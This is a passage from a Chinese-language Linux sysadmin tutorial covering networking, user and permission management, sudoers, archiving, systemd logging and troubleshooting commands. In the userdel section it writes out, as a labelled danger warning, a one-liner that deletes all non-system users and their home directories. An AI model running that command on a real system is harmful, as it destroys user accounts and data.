wget -T 10 -t 3 https://www.example.com/file.tar.gz
# 设置重试次数
wget -t 5 https://www.example.com/file.tar.gz
# 后台运行并记录日志
wget -b -o wget.log https://www.example.com/file.tar.gz
5.7 ip:网络配置
# 显示所有网络接口
ip addr
# 显示特定接口
ip addr show eth0
# 启用网络接口
ip link set eth0 up
# 禁用网络接口
ip link set eth0 down
# 设置 IP 地址
ip addr add 192.168.1.100/24 dev eth0
# 删除 IP 地址
ip addr del 192.168.1.100/24 dev eth0
# 显示路由表
ip route
# 添加默认路由
ip route add default via 192.168.1.1
# 添加静态路由
ip route add 10.0.0.0/8 via 192.168.1.1
# 删除路由
ip route del default
# 显示网络接口统计
ip -s link
# 显示 neighbor(ARP)表
ip neigh
# 添加静态 ARP 条目
ip neigh add 192.168.1.200 lladdr aa:bb:cc:dd:ee:ff dev eth0
# 查看网络接口
ip link
# 设置网卡混杂模式
ip link set eth0 promisc on
# 关闭网卡混杂模式
ip link set eth0 promisc off
# 显示 VLAN
ip link show type vlan
# 查看网络统计
ip -s link show
6 用户与权限管理:useradd、usermod、userdel、groupadd、chmod、chown、chgrp、sudo
6.1 useradd:创建用户
# 创建基本用户
useradd username
# 创建用户并指定家目录
useradd -m username
# 创建用户并指定 shell
useradd -m -s /bin/bash username
# 创建系统用户(不创建家目录,不设置密码)
useradd -r username
# 创建用户并指定 UID
useradd -u 1500 username
# 创建用户并指定主组
useradd -g developers username
# 创建用户并指定附加组
useradd -G wheel,sudo,www-data username
# 创建用户并指定家目录
useradd -m -d /data/home/username username
# 创建用户并指定描述
useradd -c "Description" username
# 创建用户并设置过期时间
useradd -e 2025-12-31 username
# 创建用户并设置密码过期策略
useradd -f 30 username
# 创建用户同时指定多个参数
useradd -m -s /bin/bash -G wheel,www-data -c "Web Admin" username
6.2 usermod:修改用户
# 修改用户 shell
usermod -s /bin/zsh username
# 修改用户主组
usermod -g developers username
# 修改用户附加组
usermod -G wheel username
usermod -aG sudo username # -a 表示追加,不覆盖原有组
# 修改用户家目录
usermod -d /new/home username
# 移动家目录内容到新位置
usermod -d /new/home -m username
# 修改用户名
usermod -l newname oldname
# 修改用户 UID
usermod -u 1500 username
# 锁定用户(禁止登录)
usermod -L username
# 解锁用户
usermod -U username
# 设置账户过期时间
usermod -e 2025-12-31 username
# 添加到期日期
usermod -e "" username # 清空到期日期
6.3 userdel:删除用户
# 删除用户(保留家目录)
userdel username
# 删除用户并删除家目录
userdel -r username
# 删除用户并删除邮件 spool
userdel -r -f username
# 批量删除
for user in user1 user2 user3; do userdel -r $user; done
高危操作警示:
# 危险!删除所有非系统用户
userdel -r $(awk -F: '($3>=1000)&&($3!=65534)' /etc/passwd | cut -d: -f1)
6.4 groupadd:创建用户组
# 创建基本组
groupadd developers
# 创建系统组(低 GID)
groupadd -r sysadmins
# 创建组并指定 GID
groupadd -g 1500 developers
# 查看所有组
getent group
# 查看用户所属的组
groups username
# 查看指定组
getent group developers
6.5 chmod:修改权限
# 添加执行权限
chmod +x script.sh
# 移除写权限
chmod -w file.txt
# 设置读写权限(其他人无权限)
chmod 644 file.txt
# 设置 rwxr-xr-x (755)
chmod 755 directory/
# 设置 rwx------ (700)
chmod 700 directory/
# 设置 rw-r--r-- (644)
chmod 644 file.txt
# 设置 rw-rw-rw- (666)
chmod 666 file.txt
# 递归设置目录权限
chmod -R 755 /var/www
# 仅修改文件权限(不修改目录)
find /var/www -type f -exec chmod 644 {} \;
# 仅修改目录权限
find /var/www -type d -exec chmod 755 {} \;
# 添加指定权限
chmod u+x file.txt # 所有者添加执行
chmod g+w file.txt # 组添加写
chmod o-r file.txt # 其他人移除读
chmod a+x file.txt # 所有用户添加执行
# 使用 = 设置精确权限
chmod u=rw,go=r file.txt
# 设置特殊权限:SUID
chmod u+s /usr/bin/passwd
# 设置特殊权限:SGID
chmod g+s /var/www
# 设置特殊权限:Sticky Bit
chmod +t /tmp
# 移除特殊权限
chmod -s file.txt
chmod -t /tmp
# 查看权限
ls -l file.txt
权限数字说明:
0 = --- 无权限
1 = --x 执行
2 = -w- 写
3 = -wx 写+执行
4 = r-- 读
5 = r-x 读+执行
6 = rw- 读+写
7 = rwx 读+写+执行
SUID = 4xxx
SGID = 2xxx
Sticky = 1xxx
6.6 chown:修改所有者
# 修改文件所有者
chown username file.txt
# 修改目录所有者(递归)
chown -R username /var/www
# 修改所有者和组
chown username:groupname file.txt
# 修改文件组
chown :groupname file.txt
# 使用 UID 和 GID
chown 1000:1000 file.txt
# 仅修改所有者
chown username: file.txt
# 修改链接本身(而非指向的文件)
chown -h username link.txt
# 保持链接属性
chown -P username link.txt
6.7 sudo:以其他用户身份执行
# 以 root 身份执行命令
sudo systemctl restart nginx
# 以指定用户身份执行
sudo -u www-data whoami
# 查看当前用户可用 sudo 命令
sudo -l
# 以 root 身份打开 shell
sudo -i
# 以指定用户身份打开 shell
sudo -i -u www-data
# 查看 sudo 日志(需要 root)
sudo cat /var/log/secure # CentOS/RHEL
sudo cat /var/log/auth.log # Debian/Ubuntu
# 避免输入密码(visudo 编辑)
Defaults:username !authenticate
# 为用户添加 sudo 权限
sudo usermod -aG wheel username
# 然后编辑 /etc/sudoers
username ALL=(ALL) ALL
sudoers 文件配置示例:
# 允许用户执行所有命令
username ALL=(ALL:ALL) ALL
# 允许用户无密码执行 systemctl
username ALL=(ALL) NOPASSWD: /bin/systemctl
# 允许用户组执行所有命令
%developers ALL=(ALL) ALL
# 允许用户从特定主机执行特定命令
username server1=(www-data) /usr/bin/systemctl restart nginx
7 压缩、解压与归档:tar、zip、unzip、gzip、gunzip、bzip2、xz
7.1 tar:归档与压缩
# 创建 tar 归档(不压缩)
tar -cf archive.tar /data/directory
# 创建归档并压缩为 gzip
tar -czf archive.tar.gz /data/directory
# 创建归档并压缩为 bzip2
tar -cjf archive.tar.bz2 /data/directory
# 创建归档并压缩为 xz
tar -cJf archive.tar.xz /data/directory
# 查看归档内容(不解压)
tar -tf archive.tar.gz
# 解压 tar 归档(自动识别格式)
tar -xf archive.tar
tar -xzf archive.tar.gz
tar -xjf archive.tar.bz2
tar -xJf archive.tar.xz
# 解压到指定目录
tar -xf archive.tar.gz -C /target/directory
# 解压特定文件
tar -xzf archive.tar.gz --wildcards "*.conf"
# 解压时保留权限
tar -xpf archive.tar.gz
# 追加文件到归档
tar -rf archive.tar newfile.txt
# 更新归档中的文件
tar -uf archive.tar existingfile.txt
# 列出归档内容
tar -tvf archive.tar.gz
# 测试归档(不实际解压)
tar -tzf archive.tar.gz
# 排除特定文件
tar -czf archive.tar.gz /data --exclude='*.log' --exclude='cache/*'
# 排除多个模式
tar -czf archive.tar.gz /data \
--exclude='*.log' \
--exclude='*.tmp' \
--exclude='cache'
# 增量备份(基于时间戳)
tar -czf backup_$(date +%Y%m%d).tar.gz \
-g /var/backup/snapshot.snar \
/data
# 保留绝对路径(不推荐,可能覆盖系统文件)
tar -czf archive.tar.gz -P /data/directory
# 保留符号链接
tar -czhf archive.tar.gz -h /data/directory
常用参数说明:
-c:创建归档-x:解压归档-t:查看归档内容-f:指定文件名-v:详细输出-z:gzip 压缩-j:bzip2 压缩-J:xz 压缩-p:保留权限-h:跟随符号链接-C:切换到指定目录
7.2 zip 和 unzip:压缩与解压
# 创建压缩包
zip archive.zip file1.txt file2.txt
# 递归压缩目录
zip -r archive.zip /data/directory
# 压缩时排除特定文件
zip -r archive.zip /data -x "*.log" -x "cache/*"
# 设置压缩级别(1-9,1最快,9最小)
zip -9 archive.zip largefile.dat
# 创建压缩包并加密
zip -e archive.zip sensitive.txt
# 更新压缩包(添加或替换)
zip -u archive.zip newfile.txt
# 删除压缩包中的文件
zip -d archive.zip oldfile.txt
# 查看压缩包内容
unzip -l archive.zip
# 测试压缩包
unzip -t archive.zip
# 解压到当前目录
unzip archive.zip
# 解压到指定目录
unzip archive.zip -d /target/directory
# 解压特定文件
unzip archive.zip "*.conf"
# 覆盖已存在的文件
unzip -o archive.zip
# 不覆盖已存在的文件
unzip -n archive.zip
# 解压时显示详细信息
unzip -v archive.zip
# 跳过错误继续解压
unzip -o archive.zip -q
# 密码解压
unzip -P password archive.zip
7.3 gzip 和 gunzip:单文件压缩
# 压缩文件
gzip file.txt
# 压缩并保留原文件
gzip -c file.txt > file.txt.gz
# 解压文件
gunzip file.txt.gz
# 解压并保留原压缩包
gzip -d -c file.txt.gz > file.txt
# 压缩到标准输出
gzip -c file.txt > file.gz
# 显示压缩比
gzip -l file.gz
# 设置压缩级别(1-9)
gzip -6 largefile.dat
gzip -9 largefile.dat
# 递归压缩
find /var/log -name "*.log" -exec gzip {} \;
# 递归解压
find /var/log -name "*.gz" -exec gunzip {} \;
# 保持时间戳
gzip -k file.txt
# 强制压缩(覆盖已存在的 .gz 文件)
gzip -f file.txt
7.4 bzip2:高质量压缩
# 压缩文件
bzip2 file.txt
# 解压文件
bunzip2 file.txt.bz2
# 压缩并保留原文件
bzip2 -c file.txt > file.txt.bz2
# 解压并保留原压缩包
bunzip2 -c file.txt.bz2 > file.txt
# 压缩时显示详细信息
bzip2 -v file.txt
# 设置块大小(1-9)
bzip2 -9 largefile.dat
# 测试压缩包完整性
bzip2 -t file.txt.bz2
7.5 xz:高压缩比
# 压缩文件
xz file.txt
# 解压文件
unxz file.txt.xz
# 设置压缩级别(0-9,默认为6)
xz -9 largefile.dat
# 压缩并保留原文件
xz -k file.txt
# 解压并保留原压缩包
xz -d -k file.txt.xz
# 递归压缩
find /var/log -name "*.log" -exec xz {} \;
# 列出压缩包信息
xz -l file.txt.xz
压缩格式对比:
| 格式 | 压缩速度 | 解压速度 | 压缩比 | 常见扩展名 |
|---|---|---|---|---|
| gzip | 快 | 快 | 中等 | .gz |
| bzip2 | 中等 | 中等 | 较高 | .bz2 |
| xz | 慢 | 慢 | 最高 | .xz |
| zip | 快 | 快 | 中等 | .zip |
| 7z | 慢 | 慢 | 最高 | .7z |
8 系统服务与日志管理:systemctl、journalctl、rsyslogd、logrotate
8.1 systemctl:服务管理
# 启动服务
systemctl start nginx
# 停止服务
systemctl stop nginx
# 重启服务
systemctl restart nginx
# 重新加载配置(不中断连接)
systemctl reload nginx
# 查看服务状态
systemctl status nginx
# 查看服务是否运行
systemctl is-active nginx
# 查看服务是否启用
systemctl is-enabled nginx
# 启用服务(开机自启)
systemctl enable nginx
# 禁用服务(关闭开机自启)
systemctl disable nginx
# 重新加载 systemd 配置
systemctl daemon-reload
# 查看所有运行中的服务
systemctl list-units --type=service --state=running
# 查看所有服务
systemctl list-units --type=service
# 查看服务依赖
systemctl list-dependencies nginx
# 查看服务日志
journalctl -u nginx
# 实时查看服务日志
journalctl -u nginx -f
# 查看服务启动日志
journalctl -u nginx -b
# 查看上一个启动的日志
journalctl -u nginx -b -1
# 查看指定时间范围的日志
journalctl -u nginx --since="2025-01-01 00:00:00" --until="2025-01-02 00:00:00"
# 查看失败的单元
systemctl --failed
# 查看服务配置
systemctl cat nginx
# 查看服务依赖关系树
systemctl list-dependencies nginx --plain
# 强制重启服务
systemctl force-reload nginx
# 屏蔽服务(完全禁用)
systemctl mask nginx
# 取消屏蔽服务
systemctl unmask nginx
8.2 journalctl:日志管理
# 查看所有日志
journalctl
# 查看本次启动的日志
journalctl -b
# 查看上一次启动的日志
journalctl -b -1
# 查看指定服务的日志
journalctl -u nginx
# 实时追踪日志
journalctl -f
# 查看错误级别的日志
journalctl -p err
# 常用级别:emerg (0), alert (1), crit (2), err (3), warning (4), notice (5), info (6), debug (7)
# 查看最近 100 行
journalctl -n 100
# 从头开始查看
journalctl --no-pager
# 显示时间戳
journalctl -t nginx
# 显示完整消息(包括换行)
journalctl -o verbose
# 按 PID 过滤
journalctl _PID=1234
# 按 UID 过滤
journalctl _UID=0
# 按 GID 过滤
journalctl _GID=0
# 按二进制可执行文件过滤
journalctl /usr/sbin/nginx
# 显示磁盘使用量
journalctl --disk-usage
# 清理旧日志(保留最近 500MB)
journalctl --vacuum-size=500M
# 清理超过指定时间的日志
journalctl --vacuum-time=7d
# 清理超过指定数量的条目
journalctl --vacuum-files=10
# 查看内核日志
journalctl -k
# 导出日志到文件
journalctl -u nginx > nginx.log
# 查看某个时间点之后的日志
journalctl --since "1 hour ago"
# 查看某个时间段的日志
journalctl --since "2025-01-01 00:00:00" --until "2025-01-02 00:00:00"
# 显示进度条(用于脚本)
journalctl --no-pager -f | while read line; do echo "$line"; done
8.3 logrotate:日志轮转
# 测试配置(不实际执行)
logrotate -d /etc/logrotate.conf
# 强制执行轮转
logrotate -f /etc/logrotate.conf
# 指定配置文件
logrotate -f /etc/logrotate.d/nginx
# 详细输出
logrotate -dv /etc/logrotate.conf
# 查看 logrotate 状态
cat /var/lib/logrotate/status
# 查看特定文件的轮转状态
grep "nginx" /var/lib/logrotate/status
# 手动触发单个文件轮转
logrotate -f /etc/logrotate.d/nginx
logrotate 配置示例(/etc/logrotate.d/nginx):
/var/log/nginx/*.log {
daily # 每天轮转
missingok # 文件不存在不报错
rotate 14 # 保留14个轮转文件
compress # 压缩旧日志
delaycompress # 延迟压缩(保留最近一个不压缩)
notifempty # 空文件不轮转
create 0640 www-data adm # 创建新文件权限
sharedscripts # 所有文件执行一次 postrotate
postrotate
[ -f /var/run/nginx.pid ] && kill -USR1 `cat /var/run/nginx.pid`
endscript
}
9 故障排查实战路径
9.1 常见故障排查流程
CPU 负载高:
# 1. 查看系统负载
uptime
# load average: 5.23, 4.15, 3.21 # 1分钟负载5.23
# 2. 查看 CPU 使用情况
top -b -n 1 | head -20
# 3. 查看各 CPU 核心使用率
top -b -n 1
# 按 1 显示所有核心
# 4. 定位最耗 CPU 的进程
ps aux --sort=-%cpu | head -10
# 5. 查看进程树
pstree -p $(ps aux --sort=-%cpu | head -2 | awk 'NR==2 {print $2}')
# 6. 查看进程的线程
top -H -p $(pidof process_name)
# 7. 查看进程打开的文件
lsof -p $(pidof process_name)
# 8. 查看进程的网络连接
ss -tlnp | grep $(pidof process_name)
内存不足:
# 1. 查看内存使用情况
free -h
# 2. 查看详细内存信息
cat /proc/meminfo
# 3. 查看各进程的内存使用
ps aux --sort=-%mem | head -10
# 4. 查看 OOM Killer 日志
dmesg | grep -i "out of memory"
journalctl | grep -i "out of memory"
# 5. 查看历史的 OOM 事件
cat /var/log/messages | grep -i "killed process"
# 6. 查看 VMWare/Systemd 日志(如果使用容器)
systemd-cgtop
磁盘空间不足:
# 1. 查看各分区使用情况
df -h
# 2. 查看 inode 使用情况
df -i
# 3. 定位最大的目录
du -sh /* 2>/dev/null | sort -h
du -sh /var/* 2>/dev/null | sort -h
# 4. 查看最大的文件
find / -type f -size +100M -exec ls -lh {} \; 2>/dev/null
# 5. 查看日志文件大小
ls -lhS /var/log/*.log
# 6. 查看已删除但仍在使用的文件
lsof +L1
# 7. 清理旧的日志
logrotate -f /etc/logrotate.conf
# 8. 清理包缓存(Debian/Ubuntu)
apt-get clean
apt-get autoremove
# 9. 清理包缓存(RHEL/CentOS)
yum clean all
网络连接异常:
# 1. 查看网络接口状态
ip link show
ip addr show
# 2. 查看网络统计
ip -s link
# 3. 查看路由表
ip route
# 4. 查看 ARP 表
ip neigh
# 5. 查看 TCP 连接状态
ss -tlnp
ss -tanp
# 6. 查看监听端口
netstat -tlnp
ss -tlnp
# 7. 测试网络连通性
ping -c 4 8.8.8.8
# 8. 追踪路由
traceroute -T 8.8.8.8
# 9. 测试 DNS 解析
dig +short www.example.com
nslookup www.example.com
# 10. 测试端口连通性
nc -zv 192.168.1.100 80
# 11. 查看防火墙规则
iptables -L -n
firewall-cmd --list-all
9.2 常见日志文件位置
| 日志类型 | CentOS/RHEL | Debian/Ubuntu |
|---|---|---|
| 系统日志 | /var/log/messages | /var/log/syslog |
| 认证日志 | /var/log/secure | /var/log/auth.log |
| Nginx 访问日志 | /var/log/nginx/access.log | /var/log/nginx/access.log |
| Nginx 错误日志 | /var/log/nginx/error.log | /var/log/nginx/error.log |
| MySQL 错误日志 | /var/log/mysqld.log | /var/log/mysql/error.log |
| Apache 访问日志 | /var/log/httpd/access_log | /var/log/apache2/access.log |
| Apache 错误日志 | /var/log/httpd/error_log | /var/log/apache2/error.log |
| 定时任务日志 | /var/log/cron | /var/log/cron |
9.3 常用排查命令组合
查看应用是否正常运行:
# 检查进程是否存在
ps aux | grep nginx | grep -v grep
# 检查端口是否监听
ss -tlnp | grep :80
# 检查服务状态
systemctl status nginx
# 检查最近日志
journalctl -u nginx -n 20 --no-pager
查看系统资源使用:
# 一行命令查看关键指标
echo "=== CPU ===" && top -bn1 | head -3 && \
echo "=== Memory ===" && free -h && \
echo "=== Disk ===" && df -h && \
echo "=== Network ===" && ss -s
日志关键字统计:
# 统计每种错误出现的次数
grep -i error /var/log/messages | awk '{print $5}' | sort | uniq -c | sort -rn
# 统计每个 IP 的访问次数
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 统计请求时间分布
awk '{print $NF}' /var/log/nginx/access.log | awk -F. '{print $1}' | sort | uniq -c
10 总结
本文涵盖了 Linux 运维中最常用的 30 个命令,覆盖了文件操作、文本处理、系统监控、进程管理、网络诊断、用户权限、压缩解压和服务日志管理 8 个主要场景。
必须熟练掌握的命令:
| 优先级 | 命令 | 主要用途 |
|---|---|---|
| 高 | ps aux、top、htop | 进程监控 |
| 高 | ss、netstat | 网络连接 |
| 高 | grep、awk、sed | 文本处理 |
| 高 | df、du、free | 资源查看 |
| 高 | journalctl、systemctl | 服务与日志 |
| 中 | ping、traceroute、nslookup | 网络诊断 |
| 中 | tar、gzip、zip | 压缩解压 |
| 中 | chmod、chown、useradd | 权限管理 |
最佳实践建议:
- 先观察后操作:执行破坏性操作前先用
ls或cat确认目标 - 善用 man 手册:每个命令都有详细文档,执行
man command查看 - 管道组合:将多个命令通过管道组合实现复杂功能
- 脚本化重复操作:将常用命令序列写成脚本减少重复劳动
- 日志是排查的第一手资料:遇到问题先查日志,不要主观猜测
- 生产环境操作前备份:修改配置前先备份,删除前先确认
熟能生巧,建议在测试环境中多练习这些命令,形成肌肉记忆。真正遇到故障时,才能快速定位问题而不是临时查文档。

本文链接:https://www.yunweipai.com/49285.html





网友评论comments